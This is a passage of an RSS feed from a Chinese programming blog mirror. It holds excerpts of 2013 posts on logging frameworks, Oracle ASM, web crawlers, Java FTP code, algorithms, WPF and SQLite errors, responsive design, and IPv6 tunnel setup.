      <description>计算机软件的专利保护&#xA;ZTX&#xA;（南京***系，江苏·南京 210094）&#xA;摘要：本文梳理了知识产权和计算机软件的概念。介绍了国内外计算机软件保护模式的历史沿革。比较了版权保护、专利权保护和商业秘密权保护三种保护模式的基本内容，分析出三者的利弊。最后，根据分析结果提出可行性建议。&#xA;关键词：计算机软件知识产权法律保护模式&#xA;Patent Protection of Computer Software&#xA;ZTX&#xA;(Department of Information Management,Nanjing University of Science and Technology, Nanjing 210094)&#xA;Abstract:This paper reviews the concept of intellectual property and computer software.Introduces the history of the computer software protected mode at home and abroad..Then compares the basic content of three kinds of protection mode:copyright, patent and trade secret rights.Otherwise analysis the pros and cons of the three.Finally, put forward feasible suggestions according to the results of the analysis.</description>
    </item>
    <item>
      <title>slf4j-logback日志框架常用配置说明</title>
      <link>https://bchobby.github.io/posts/122927be4b07a93a9747a8384d6cd8ad/</link>
      <pubDate>Fri, 07 Jun 2013 16:03:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/122927be4b07a93a9747a8384d6cd8ad/</guid>
      <description>&amp;lt;!-- configuration为根元素，包含三个属性: debug,指是否开启logback内部日志，没有设置此属性或设置其值为空、null或false时，表示不开启，否则，开启； scan,设置是否定时扫描配置文件 scanPeriod,设置扫描周期，与scan属性配合使用，默认是60000毫秒，如果该属性值没有带单位，则单位为毫秒，可带的单位有milli/millisecond/second/seconde/minute/hour/day，可忽略大小写 --&amp;gt; &amp;lt;configuration debug=&#34;true&#34; scan=&#34;true&#34; scanPeriod=&#34;600 seconds&#34;&amp;gt; &amp;lt;!-- appender表示日志输出的方式，该元素必须包含name、classs属性; name，表示appender的唯一标识 class一般常见有ch.qos.logback.core.FileAppender、ch.qos.logback.core.rolling.RollingFileAppender、ch.qos.logback.core.ConsoleAppender --&amp;gt; &amp;lt;!-- 下面appender表示输出到控制台 --&amp;gt; &amp;lt;appender name=&#34;stdout&#34; class=&#34;ch.qos.logback.core.ConsoleAppender&#34;&amp;gt; &amp;lt;!-- 设置级别过滤器 --&amp;gt; &amp;lt;filter class=&#34;ch.qos.logback.classic.filter.LevelFilter&#34;&amp;gt; &amp;lt;!-- level级别的日志才会被处理，其他级别不处理 --&amp;gt; &amp;lt;level&amp;gt;DEBUG&amp;lt;/level&amp;gt; &amp;lt;!-- 用于配置符合条件的操作 --&amp;gt; &amp;lt;onMatch&amp;gt;ACCEPT&amp;lt;/onMatch&amp;gt; &amp;lt;!-- 用于配置不符合条件的操作 --&amp;gt; &amp;lt;onMismatch&amp;gt;DENY&amp;lt;/onMismatch&amp;gt; &amp;lt;/filter&amp;gt; &amp;lt;!-- encoder指定编码格式，并根据指定的pattern输出日志信息 --&amp;gt; &amp;lt;encoder charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;!-- pattern指定日志的输出格式 --&amp;gt; &amp;lt;pattern&amp;gt;%d{HH:mm:ss.SSS}[%-5level][%thread][%logger{20}]-%msg%n&amp;lt;/pattern&amp;gt; &amp;lt;/encoder&amp;gt; &amp;lt;/appender&amp;gt; &amp;lt;!-- 下面是将日志输入到指定的文件中 --&amp;gt; &amp;lt;appender name=&#34;file&#34; class=&#34;ch.qos.logback.core.FileAppender&#34;&amp;gt; &amp;lt;!-- 指定的日志文件名 --&amp;gt; &amp;lt;file&amp;gt;logFile.log&amp;lt;/file&amp;gt; &amp;lt;!-- 是否追加到文件末尾，默认true --&amp;gt; &amp;lt;append&amp;gt;true&amp;lt;/append&amp;gt; &amp;lt;encoder&amp;gt; &amp;lt;pattern&amp;gt;%-4r [%thread] %-5level %logger{35} - %msg%n&amp;lt;/pattern&amp;gt; &amp;lt;/encoder&amp;gt; &amp;lt;/appender&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>slf4j(Simple Logging Facade for Java)入门</title>
      <link>https://bchobby.github.io/posts/e42aac5813fa2e7256422dcdfd6d731d/</link>
      <pubDate>Wed, 05 Jun 2013 17:32:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e42aac5813fa2e7256422dcdfd6d731d/</guid>
      <description>以前用过log4j，只知道简单的使用，是在多人开发的项目中，看到别人使用了，自己才copy过来使用的，但没有深入了解过。前两天开始接触slf4j，据说是一个可以将原有项目中的日志输出框架转换成另外一种新的日志输出框架的第三方开源工具，可以把多个不同项目中的不同日志输出框架通过它转换成同一种输出框架，看了下源码，官网上给了一幅图，如下：&#xA;目前它支持过渡的日志框架有jcl、jul和log4j，最终的日志输出框架支持jcl、jul、log4j、logback。&#xA;如果你项目中以前是用的log4j作为日志输出框架，想转换成jul，则需要将classpath中原来引用的log4j的jar文件移除，然后添加log4j-over-slf4j-xxx.jar、slf4j-api-xxx.jar、slf4j-jdk14-xxx.jar(xxx指版本号)等三个jar文件即可，项目中的原来的代码都不需要改动，下面简要说一下这三个包的作用：&#xA;log4j-over-slf4j-xxx.jar 此包重新实现了log4j.jar包的一些接口，作为桥接器&#xA;slf4j-api-xxx.jar 此包是slf4j的api&#xA;slf4j-jdk14-xxx.jar 此包是最终选择的日志输出框架&#xA;如果原项目中使用的是log4j输出，则使用slf4j桥接之后的最终日志输出框架不能是log4j，源代码中有限制，代码如下：&#xA;static { try { Class.forName(&#34;org.slf4j.impl.Log4jLoggerFactory&#34;); String part1 = &#34;Detected both log4j-over-slf4j.jar AND slf4j-log4j12.jar on the class path, preempting StackOverflowError. &#34;; String part2 = &#34;See also &#34; + LOG4J_DELEGATION_LOOP_URL + &#34; for more details.&#34;; Util.report(part1); Util.report(part2); throw new IllegalStateException(part1 + part2); } catch (ClassNotFoundException e) { // this is the good case } } slf4j是通过静态绑定来确定最终是由哪个框架进行日志输出（每个框架都实现了org/slf4j/impl/StaticLoggerBinder.class），如果出现多个，则会将第一个加载的类作为日志输出，代码如下：&#xA;private static Set findPossibleStaticLoggerBinderPathSet() { // use Set instead of list in order to deal with bug #138 // LinkedHashSet appropriate here because it preserves insertion order during iteration Set staticLoggerBinderPathSet = new LinkedHashSet(); try { ClassLoader loggerFactoryClassLoader = LoggerFactory.</description>
    </item>
    <item>
      <title>GCC Link Time Optimization</title>
      <link>https://bchobby.github.io/posts/054073d9b6915c88072016cfef3338f2/</link>
      <pubDate>Tue, 04 Jun 2013 23:48:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/054073d9b6915c88072016cfef3338f2/</guid>
      <description> http://gcc.gnu.org/wiki/LinkTimeOptimization </description>
    </item>
    <item>
      <title>ASM 安装及创建ASM DISK及ASM DISK查看</title>
      <link>https://bchobby.github.io/posts/b09f088ae1044d464417d62ef73e7835/</link>
      <pubDate>Sat, 25 May 2013 22:02:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b09f088ae1044d464417d62ef73e7835/</guid>
      <description>Download the appropriate ASMLib RPMs from OTN. If you are using the UEK the ASMLib kernel module is present already. For RHEL kernel we would need all three of the following:&#xA;oracleasm-support-2.1.7-1.el5.i386.rpmoracleasmlib-2.0.4-1.el5.i386.rpmoracleasm-[your-kernel-version].rpm Install the packages using the following command.&#xA;rpm -Uvh oracleasm*.rpm Configure ASMLib using the following command.&#xA;# oracleasm configure -i Configuring the Oracle ASM library driver. This will configure the on-boot properties of the Oracle ASM library driver.</description>
    </item>
    <item>
      <title>开源爬虫框架</title>
      <link>https://bchobby.github.io/posts/624b2f97ebd6a6e51aadb2279a6210e2/</link>
      <pubDate>Mon, 20 May 2013 12:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/624b2f97ebd6a6e51aadb2279a6210e2/</guid>
      <description>1、heritrix&#xA;Heritrix是一个爬虫框架，可加如入一些可互换的组件。 它的执行是递归进行的，主要有以下几步： 1。在预定的URI中选择一个。 2。获取URI 3。分析，归档结果 4。选择已经发现的感兴趣的URI。加入预定队列。 5。标记已经处理过的URI&#xA;是IA的开放源代码，可扩展的，基于整个Web的，归档网络爬虫工程&#xA;Heritrix工程始于2003年初，IA的目的是开发一个特殊的爬虫，对网上的&#xA;资源进行归档，建立网络数字图书馆，在过去的6年里，IA已经建立了400TB的数据。&#xA;最新版本:heritrix-1.15.4&#xA;IA期望他们的crawler包含以下几种：&#xA;宽带爬虫：能够以更高的带宽去站点爬。&#xA;主题爬虫：集中于被选择的问题。&#xA;持续爬虫：不仅仅爬更当前的网页还负责爬日后更新的网页。&#xA;实验爬虫：对爬虫技术进行实验，以决定该爬什么，以及对不同协议的爬虫 爬行结果进行分析的。&#xA;Heritrix的主页是http://crawler.archive.org&#xA;Heritrix是一个爬虫框架，可加如入一些可互换的组件。&#xA;它的执行是递归进行的，主要有以下几步：&#xA;1。在预定的URI中选择一个。&#xA;2。获取URI&#xA;3。分析，归档结果&#xA;4。选择已经发现的感兴趣的URI。加入预定队列。&#xA;5。标记已经处理过的URI&#xA;2、nutch&#xA;尽管Web搜索是漫游Internet的基本要求, 但是现有web搜索引擎的数目却在下降. 并且这很有可能进一步演变成为一个公司垄断了几乎所有的web搜索为其谋取商业利益.这显然不利于广大Internet用户.&#xA;Nutch为我们提供了这样一个不同的选择. 相对于那些商用的搜索引擎, Nutch作为开放源代码搜索引擎将会更加透明, 从而更值得大家信赖. 现在所有主要的搜索引擎都采用私有的排序算法, 而不会解释为什么一个网页会排在一个特定的位置. 除此之外, 有的搜索引擎依照网站所付的费用, 而不是根据它们本身的价值进行排序. 与它们不同, Nucth没有什么需要隐瞒, 也没有动机去扭曲搜索的结果. Nutch将尽自己最大的努力为用户提供最好的搜索结果.&#xA;Nutch 致力于让每个人能很容易, 同时花费很少就可以配置世界一流的Web搜索引擎. 为了完成这一宏伟的目标, Nutch必须能够做到:&#xA;* 每个月取几十亿网页&#xA;* 为这些网页维护一个索引&#xA;* 对索引文件进行每秒上千次的搜索&#xA;* 提供高质量的搜索结果&#xA;* 以最小的成本运作&#xA;Nutch主要分为两个部分：爬虫crawler和查询searcher。Crawler主要用于从网络上抓取网页并为这些网页建立索引。Searcher主要利用这些索引检索用户的查找关键词来产生查找结果。两者之间的接口是索引，所以除去索引部分，两者之间的耦合度很低。&#xA;Crawler和Searcher两部分尽量分开的目的主要是为了使两部分可以分布式配置在硬件平台上，例如将Crawler和Searcher分别放在两个主机上，这样可以提升性能。&#xA;爬虫，Crawler：&#xA;Crawler的重点在两个方面，Crawler的工作流程和涉及的数据文件的格式和含义。数据文件主要包括三类，分别是web database，一系列的segment加上index，三者的物理文件分别存储在爬行结果目录下的db目录下webdb子文件夹内，segments文件夹和index文件夹。那么三者分别存储的信息是什么呢？&#xA;Web database，也叫WebDB，其中存储的是爬虫所抓取网页之间的链接结构信息，它只在爬虫Crawler工作中使用而和Searcher的工作没有任何关系。WebDB内存储了两种实体的信息：page和link。Page实体通过描述网络上一个网页的特征信息来表征一个实际的网页，因为网页有很多个需要描述，WebDB中通过网页的URL和网页内容的MD5两种索引方法对这些网页实体进行了索引。Page实体描述的网页特征主要包括网页内的link数目，抓取此网页的时间等相关抓取信息，对此网页的重要度评分等。同样的，Link实体描述的是两个page实体之间的链接关系。WebDB构成了一个所抓取网页的链接结构图，这个图中Page实体是图的结点，而Link实体则代表图的边。&#xA;一次爬行会产生很多个segment，每个segment内存储的是爬虫Crawler在单独一次抓取循环中抓到的网页以及这些网页的索引。Crawler爬行时会根据WebDB中的link关系按照一定的爬行策略生成每次抓取循环所需的fetchlist，然后Fetcher通过fetchlist中的URLs抓取这些网页并索引，然后将其存入segment。Segment是有时限的，当这些网页被Crawler重新抓取后，先前抓取产生的segment就作废了。在存储中。Segment文件夹是以产生时间命名的，方便我们删除作废的segments以节省存储空间。&#xA;Index是Crawler抓取的所有网页的索引，它是通过对所有单个segment中的索引进行合并处理所得的。Nutch利用Lucene技术进行索引，所以Lucene中对索引进行操作的接口对Nutch中的index同样有效。但是需要注意的是，Lucene中的segment和Nutch中的不同，Lucene中的segment是索引index的一部分，但是Nutch中的segment只是WebDB中各个部分网页的内容和索引，最后通过其生成的index跟这些segment已经毫无关系了。&#xA;Crawler工作流程：&#xA;在分析了Crawler工作中设计的文件之后，接下来我们研究一下Crawler的抓取流程以及这些文件在抓取中扮演的角色。Crawler的工作原理主要是：首先Crawler根据WebDB生成一个待抓取网页的URL集合叫做Fetchlist，接着下载线程Fetcher开始根据Fetchlist将网页抓取回来，如果下载线程有很多个，那么就生成很多个Fetchlist，也就是一个Fetcher对应一个Fetchlist。然后Crawler根据抓取回来的网页WebDB进行更新，根据更新后的WebDB生成新的Fetchlist，里面是未抓取的或者新发现的URLs，然后下一轮抓取循环重新开始。这个循环过程可以叫做“产生/抓取/更新”循环。</description>
    </item>
    <item>
      <title>java 连接FTP下载指定目录下的所有符合要求的文件</title>
      <link>https://bchobby.github.io/posts/528a382f37e9f8a1a17a9248511531ef/</link>
      <pubDate>Thu, 16 May 2013 21:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/528a382f37e9f8a1a17a9248511531ef/</guid>
      <description>首先需要jar包，下载地址：&#xA;点击下载&#xA;变量声明&#xA;private FTPClient ftpClient = new FTPClient(); （1）创建连接&#xA;/** * * java编程中用于连接到FTP服务器 * * @param hostname * 主机名 * * @param port * 端口 * * @param username * 用户名 * * @param password * 密码 * * @return 是否连接成功 * * @throws IOException */ public boolean connect(String hostname, int port, String username, String password) throws IOException { ftpClient.connect(hostname, port); if (FTPReply.isPositiveCompletion(ftpClient.getReplyCode())) { if (ftpClient.login(username, password)) { return true; } } disconnect(); return false; } （2）获取ftp目录下载该目录下的所有文件。 public boolean download(String remote, String local,String fileFiler) throws IOException, ParseException { ftpClient.</description>
    </item>
    <item>
      <title>控制台的四则运算计算器</title>
      <link>https://bchobby.github.io/posts/991197aa51eabec122e60c5d01313793/</link>
      <pubDate>Wed, 15 May 2013 15:13:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/991197aa51eabec122e60c5d01313793/</guid>
      <description>#include &#34;stdio.h&#34; #include &#34;string.h&#34; #include &#34;stdlib.h&#34; char optr[256]=&#34;#&#34;; double result[256]={0.0}; int top=0,topop=1; double gettopnd() { return result[top]; } char gettopop() { return optr[topop-1]; } void pushnd(double ch) { result[top++]=ch; } void pushop(char ch) { optr[topop++]=ch; } double popnd() { return result[--top]; } char popop() { return optr[--topop]; } char IsOprator(char m )//判断字符是否是操作符，是则返回操作符assci，否为0; { switch(m) { case &#39;+&#39;: case &#39;-&#39;: case &#39;*&#39;: case &#39;/&#39;: case &#39;(&#39;: case &#39;)&#39;: case &#39;#&#39;:return m;break; default: return 0; } } int FmtStr(char msg[],int N) { int tmp=0; for (int i=0;i&amp;lt;N;i++)//总共循环表达式的长度那么多次; { if(msg[i]==&#39;-&#39;&amp;amp;&amp;amp;msg[i-1]==&#39;(&#39;)//取当前字符并判断该字符是否是负号且它的上一个字符是左括号，确定这个符号为负而不是减; { for(int t=N+1;t!</description>
    </item>
    <item>
      <title>响应式Web设计（四）：响应式Web设计的优化</title>
      <link>https://bchobby.github.io/posts/8af2d7340b0d5a13841fc040be1436a0/</link>
      <pubDate>Mon, 06 May 2013 19:26:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8af2d7340b0d5a13841fc040be1436a0/</guid>
      <description>这篇文章主要说说在进行响应式Web设计的过程中，涉及到页面的一些需要进行优化的地方：&#xA;1、 轻量级的Javascript库：&#xA;针对PC端网页当然会首选jQuery来作为前端javascript库，但是针对移动端来说，jQuery太重，而现在针对移动端来说，有很多优秀的框架可供使用，jQuery Mobile、YUI、XUI等是不错的框架，但是个人比较倾向于zepto。不过zepto预定义的一些事件，比如触屏滑动的swipe事件，在ios上完美支持，但是在android上，有些浏览器确实不支持的，这时候就需要寻求与一些第三方的javascript插件库，好在现在网上有很多优秀的第三方javascript插件库可供使用，所以各位按需索取吧。&#xA;2、 减少HTTP请求次数：&#xA;一个页面的初始加载使用HTTP请求来操作，没有任何问题，但是页面中比如翻页、筛选之类的操作，如果再使用完整的HTTP请求来处理的话，会加大网络传输的数据量，因为移动端有一个特殊的限制，就是用户的网络流量是有限的，超过之后会要交钱的。这时候针对这些页面内部的部分操作，可以使用Ajax异步请求来完成，针对短期内不会变化的一些数据，可以使用服务器端缓存、前端缓存等机制来保存这些数据，这样可以减少用户一定的数据请求量。&#xA;3、 压缩Javascript和CSS：&#xA;把页面中使用的Javascript代码和CSS代码进行压缩之后会有效地减少页面大小。&#xA;在线的Javascript代码压缩工具和在线CSS代码压缩工具有很多，而我在开发中会使用下面这两个：&#xA;Javascript压缩：http://www.jscompress.com/&#xA;CSS压缩：http://www.csscompressor.com/&#xA;4、 使用CDN来管理页面资源：&#xA;CDN的全称是Content Delivery Network，即内容分发网络。其基本思想是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。&#xA;我们可以把一个页面上使用的外链的Javascript文件、CSS文件、固定的ICON图标和图片放在CDN上，这样在访问网页的时候可以使用户可就近取得这些资源，解决网络拥挤的状况，提高用户访问网页的相应速度。&#xA;5、 列表图片实现“懒”加载：&#xA;移动终端设备因为屏幕大小有限，没有必要将全屏中的图片一次性加载进来，在网页加载的时候，我们可以选择只加载一个可视屏幕中的图片，当用户进行滑动页面的时候，再加载后续剩下的图片。&#xA;这个方案其实就是现在大家都说的图片延迟加载技术，只是我们同事在开发的过程中戏称为图片的“懒”加载，其实说到底是按需加载。比如你用淘宝搜索产品，你的移动设备一屏其实只能显示5张图片，那在页面初始加载的时候只加载5张图片，用户滑动页面的时候再加载5张图片，依此类推，这样用户滑到哪里就显示到哪里。&#xA;目前网上有一些优秀的延迟加载插件，不过我在具体开发过程中没有使用第三方插件，而是自己开发的一个插件来实现这种图片的“懒”加载，后续我单独介绍我开发的这个插件。&#xA;6、 图片显示的优化处理：&#xA;首先先说为什么响应式Web设计的时候我们要对图片的显示进行优化处理呢？比如说现在有一张图片，如果你用低分辨率的图片，在低分辨率上显示没有问题，但是在高分辨率机器上图片就会模糊不清，影响用户视觉体验。但是如果你一开始选用一张高分辨率的图片，这样虽然可以兼顾所有机器上的视觉体验，但是针对低端机器来说是很不公平的，因为这样会白白浪费用户的网络数据流量。&#xA;那我们应该如何处理呢？解决方法就是根据用户设备的分辨率来加载不同分辨率下的不同图片，这样既能给不同终端的用户一个很好的视觉体验，又不会白白浪费用户的网络数据流量。&#xA;① 针对分辨率、屏幕大小来优化图片的显示，这里介绍两种方法：&#xA;第一种，将页面&amp;lt;image&amp;gt;标签的src属性中使用适用于低分辨率的图片地址，而将其他中、高分辨率的图片地址使用HTML5的data-自定义属性来隐藏；然后通过Javascript来获取浏览器窗口的大小决定加载哪一张图片，用Javascript把&amp;lt;image&amp;gt;标签的src属性替换成所需要的data-自定义属性中的图片。&#xA;第二种：将加载的图片地址使用CSS样式来定义，然后通过Media Queries媒体查询机制来决定加载哪一张图片。&#xA;② 针对Retina屏幕做专门的图片优化，同样介绍两种方法：&#xA;第一种，将页面&amp;lt;image&amp;gt;标签的src属性中使用普通图片的地址，而将Retina屏幕使用的图片地址使用HTML5的data-自定义属性来隐藏；然后通过Javascript来判断Ratio大小决定是否加载Retina图片，如需加载使用Javascript把&amp;lt;image&amp;gt;标签的src属性替换成所需要的data-自定义属性中的Retina图片。&#xA;第二种：将加载的图片地址使用CSS样式来定义，然后通过Media Queries媒体查询机制来决定加载Retina图片，判断Retina屏幕的媒体查询机制代码如下：&#xA;@media only screen and (-webkit-device-pixel-ratio: 2) {&#xA;// 设置Retina显示图片&#xA;}&#xA;7、 使用对SEO友好的标签：&#xA;为了让我们的网页能够让搜索引擎更好的收录，我们需要在我们的页面中尽可能低使用对SEO友好的标签，比如&amp;lt;h1&amp;gt;、&amp;lt;strong&amp;gt;、…等，关于页面标签的SEO友好化改造，后期我会专门发文介绍。&#xA;终于完成了响应式Web设计这一个系列的四篇文章，有朋友说我应该把东西写在一片博文里，没必要分开写，大有追连续剧的感觉，其实这个先说抱歉，但是允许我说一声，我平时的工作很繁琐，又不想因为这些事情来影响自己生活的乐趣，所以我只能一点一点的写。也许还有人说我这四篇博文中水货很多，那没有办法，因为关于响应式Web设计我不是原创者，我充其量算一个总结着，所以一些理论的东西我必须得参考别人的，我不寄希望于别来从我文章里面能学到多少，其实写这些技术文章，主要的是让自己对一些知识点做一个很好的总结，既然总结了，就想分享出来，也许质量很不好，但是我用心了，各位，按需索取吧。同时，我还是比较期待我个人的后续其他方面的总结和分享。</description>
    </item>
    <item>
      <title>File opened that is not a database file file is encrypted or is not a databa</title>
      <link>https://bchobby.github.io/posts/aea0c801cb57d59934df9aa714717b01/</link>
      <pubDate>Thu, 02 May 2013 12:42:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aea0c801cb57d59934df9aa714717b01/</guid>
      <description> 事件：c#打开SQLite 数据提示File opened that is not a database file file is encrypted or is not a databa;&#xA;原因：在sqlite3.dll的版本，与sqlite3.lib库文件版本不一致。导致无法打开文件。&#xA;解决方法：下载新版本的sqliteadmin.exe，直接在里面创建新的SQLite库。 </description>
    </item>
    <item>
      <title>WPF Image控件 Source绑定相对路径方法</title>
      <link>https://bchobby.github.io/posts/0007e7cf0f9bf77bf8ef04d63c9aa48d/</link>
      <pubDate>Sat, 27 Apr 2013 17:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0007e7cf0f9bf77bf8ef04d63c9aa48d/</guid>
      <description> (1)&#xA;/Test：图片所对应的程序集名称（工程名称）;&#xA;component/img/close.png：component固定前缀; /后面是图片相对路径 如component/img/close.png; 这样我们在编译后的bin目录下可以看到，没有图片文件，因为上面我们是把图片做成资源文件了，图片等资源文件会自动编译到dll或者exe里面了。&#xA;&amp;lt;Image Margin=&#34;30,9,0,0&#34; Name=&#34;image1&#34; Stretch=&#34;Fill&#34; Height=&#34;29&#34; HorizontalAlignment=&#34;Left&#34; VerticalAlignment=&#34;Top&#34; Width=&#34;62&#34; Grid.Row=&#34;1&#34; Source=&#34;/testModel;component/img/close.png&#34; /&amp;gt; </description>
    </item>
    <item>
      <title>wpf 指定的路径或文件名太长，或者两者都太长。完全限定文件名必须少于 260 个字符，并且目录名必须少于 248 个字符。</title>
      <link>https://bchobby.github.io/posts/77269392bd360d56de53b1f92be62e14/</link>
      <pubDate>Sat, 27 Apr 2013 15:43:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77269392bd360d56de53b1f92be62e14/</guid>
      <description>不知道为什么就报了这个问题，昨天使的还好好的。解决办法很简单将报错的窗体放在一个干净新建的工程里面，如果不报错那就是你原来的工程有dll不兼容。</description>
    </item>
    <item>
      <title>字符串中的最长回文字符</title>
      <link>https://bchobby.github.io/posts/05da4809e1a07edf6db7aa8b0dc5ec6b/</link>
      <pubDate>Thu, 25 Apr 2013 11:24:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05da4809e1a07edf6db7aa8b0dc5ec6b/</guid>
      <description>http://www.felix021.com/blog/read.php?2040可以看下这篇文章的分析&#xA;求一个字符串的最长回文子串有几种方法：&#xA;1、最容易想到的就是遍历整个字符串，然后求出以每个字符为中心的最长回文串（要考虑奇数和偶数问题），这样的时间复杂度为o(n^2);&#xA;2、还有一种就是用后缀数组的方法，将字符串倒转过来然后接到原字符串的后面构造一个新串，中间用一个原字符串中没出现的字符做分隔符，求原字符串最长回文字串就相当于求新串后缀数组的最长公共前缀了，代码较复杂，时间复杂度为o（nlgn);&#xA;3、另一种方法时用manacher算法：这个算法有一个很巧妙的地方，它把奇数的回文串和偶数的回文串统一起来考虑了。这一点一直是在做回文串问题中时比较烦的地方。这个算法还有一个很好的地方就是充分利用了字符匹配的特殊性，避免了大量不必要的重复匹配。&#xA;算法大致过程是这样。先在每两个相邻字符中间插入一个分隔符，当然这个分隔符要在原串中没有出现过。一般可以用‘#’分隔。这样就非常巧妙的将奇数长度回文串与偶数长度回文串统一起来考虑了（见下面的一个例子，回文串长度全为奇数了），然后用一个辅助数组P记录以每个字符为中心的最长回文串的信息。P［id］记录的是以字符str［id］为中心的最长回文串，当以str［id］为第一个字符，这个最长回文串向右延伸了P［id］个字符。&#xA;原串： w aa bwsw f d&#xA;新串： # w# a # a # b# w # s # w # f # d #&#xA;辅助数组P： 1 2 1 2 3 2 1 2 1 2 1 4 1 2 1 2 1 2 1&#xA;由于这个算法是线性从前往后扫的。那么当我们准备求P［i］的时候，i以前的P［j］我们是已经得到了的。我们用mx记在i之前的回文串中，延伸至最右端的位置。同时用id这个变量记下取得这个最优mx时的id值。（注：为了防止字符比较的时候越界，我在这个加了‘#’的字符串之前还加了另一个特殊字符‘$’，故我的新串下标是从1开始的）&#xA;void pa(char *str,int n,int p[])&#xA;{&#xA;int i;&#xA;int mx = 0;&#xA;int id=0;&#xA;for(i=1; i&amp;lt;n; i++)&#xA;{</description>
    </item>
    <item>
      <title>机器学习平台 GraphLab</title>
      <link>https://bchobby.github.io/posts/4151849d3187eca878436397f7fa8ca4/</link>
      <pubDate>Tue, 23 Apr 2013 10:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4151849d3187eca878436397f7fa8ca4/</guid>
      <description>GraphLab 是一个机器学习平台，主要是图模型方面的计算。&#xA;GraphLab 是另一种有趣的MapReduce抽象实现，侧重机器学习算法的并行实现。GraphLab中，Map阶段定义了可以独立执行（在独立的主机上）的计算，Reduce阶段合并这些计算结果。&#xA;Designing and implementing efficient and provably correct parallel machine learning (ML) algorithms can be very challenging. Existing high-level parallel abstractions like MapReduce are often insufficiently expressive while low-level tools like MPI and Pthreads leave ML experts repeatedly solving the same design challenges. By targeting common patterns in ML, we developed GraphLab, which improves upon abstractions like MapReduce by compactly expressing asynchronous iterative algorithms with sparse computational dependencies while ensuring data consistency and achieving a high degree of parallel performance.</description>
    </item>
    <item>
      <title>南阳理工OJ  一个简单的数学题 模拟除法，找循环节</title>
      <link>https://bchobby.github.io/posts/4306768d97b79eb77248bbef4523bc61/</link>
      <pubDate>Sat, 20 Apr 2013 21:41:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4306768d97b79eb77248bbef4523bc61/</guid>
      <description> 连接： http://acm.nyist.net/JudgeOnline/problem.php?pid=330&#xA;一个简单的数学题 时间限制： 3000 ms | 内存限制： 65535 KB 难度： 3 描述 zyc最近迷上了数学，一天，dj想出了一道数学题来难住他。算出1/n,但zyc一时答不上来希望大家能编程帮助他。 输入 第一行整数T，表示测试组数。后面T行，每行一个整数 n (1&amp;lt;=|n|&amp;lt;=10^5). 输出 输出1/n. (是循环小数的,只输出第一个循环节). 样例输入 4 2 3 7 168 样例输出 0.5 0.3 0.142857 0.005952380 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; bool p[1000001]; int main() { int T,n,term; scanf(&#34;%d&#34;,&amp;amp;T); while(T--) { memset(p,0,sizeof(p)); term=10; scanf(&#34;%d&#34;,&amp;amp;n); if(n&amp;lt;0) { printf(&#34;-&#34;); n=-n; } if(n==1) { printf(&#34;1\n&#34;); continue; } printf(&#34;0.&#34;); while(p[term]==false) { printf(&#34;%d&#34;,term/n); p[term]=true; term=(term%n)*10; if(term==0)break; } printf(&#34;\n&#34;); } return 0; } </description>
    </item>
    <item>
      <title>总结下在离开教育网后公网各种接入IPV6的方法</title>
      <link>https://bchobby.github.io/posts/5f5168b857d020b077e27ff59fb7d20d/</link>
      <pubDate>Fri, 12 Apr 2013 13:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f5168b857d020b077e27ff59fb7d20d/</guid>
      <description>1. 最简单的，，也是我强烈推荐的。不管你是不是使用路由器拨号（NAT用户）还是不经过路由器直连的ADSL用户，都适用，就是Tunnel broker。 是 gogo6 家的产品，需要注册后才能下载和使用，但是使用是免费的，基本没啥限制，速度很ok，我记得这个默认的服务器 anonymous.freenet6.net 没有被方校长认证。自己刚刚毕业的时候除了交大隧道就是靠他活了。 用这个连CG，无锡电信延迟基本在400-500ms，虽然有点高，但是访问网页没有想象中的那样卡，可以接受。下载基本也可以把我家2M小水管盛满。 除了默认的服务器，你可以试试其他你们tunnel broker隧道服务器， 比如亚太电信的 。这个你们可以放Google搜索。很多的。 选择你们自己最合适的服务器。 montreal.freenet6.net amsterdam.freenet6.net sydney.freenet6.net anon-taipei.freenet6.net (这是台湾服务器) 亚太电信集团：tb.ipv6.apol.com.tw（有可能不稳定） Seednet IPv6 Tunnel Broker：goipv6.seed.net.tw TWNIC IPv6 Tunnel Broker(備援)：192.72.72.17 复制代码 我选的是默认服务器，速度很快。大家自己斟酌。 官网要注册才能下载，同志们，赏我两个辛苦钱 客户端在此，包括32位和64位。 gogoc1.2-client-tunnel-broker.zip (3.04 MB, 下载次数: 4081, 售价: 1 金币) Linux客户端也有，源代码，高端用户肯定不屑于从这里下载，你们自己去gogo6官网下载吧。 软件虽然是英文的，但是都是大学生，connetc这个按钮总认得把。其他照图设置就行。 —————————————————————————————————————————————— 2 . 如果你不使用路由器通过ADSL拨号直连，而且你是中国电信和中国联通这种主流电信运营商的用户（FTTB小区宽带有可能例外），基本上你ADSL拨号博取的就是公网IP。确认办法就是你拨号后，查看ADSL拨号连接的状态，看下IP地址是不是和你在 http://www.123cha.com 看到的一致，如果一致，基本就是公网用户了，这个时候你可以考虑使用上海交大的公网isatap隧道。（广电，移动等小众运营商用户洗洗睡吧） 使用方法和普通的isatap隧道是一样的。打开开始菜单-&amp;gt;管理员权限运行cmd命令提示符（记得关闭Windows防火墙） （XP用户第一次使用记得先运行ipv6 install） netsh interface 6to4 set stat dis netsh interface teredo set stat dis sc config iphlpsvc start= auto net start iphlpsvc netsh interface ipv6 isatap set router isatap.</description>
    </item>
    <item>
      <title>kindeditor</title>
      <link>https://bchobby.github.io/posts/4a6cd8066c7c43efa3011353aa120ef0/</link>
      <pubDate>Tue, 09 Apr 2013 20:34:17 +0800</pubDate>
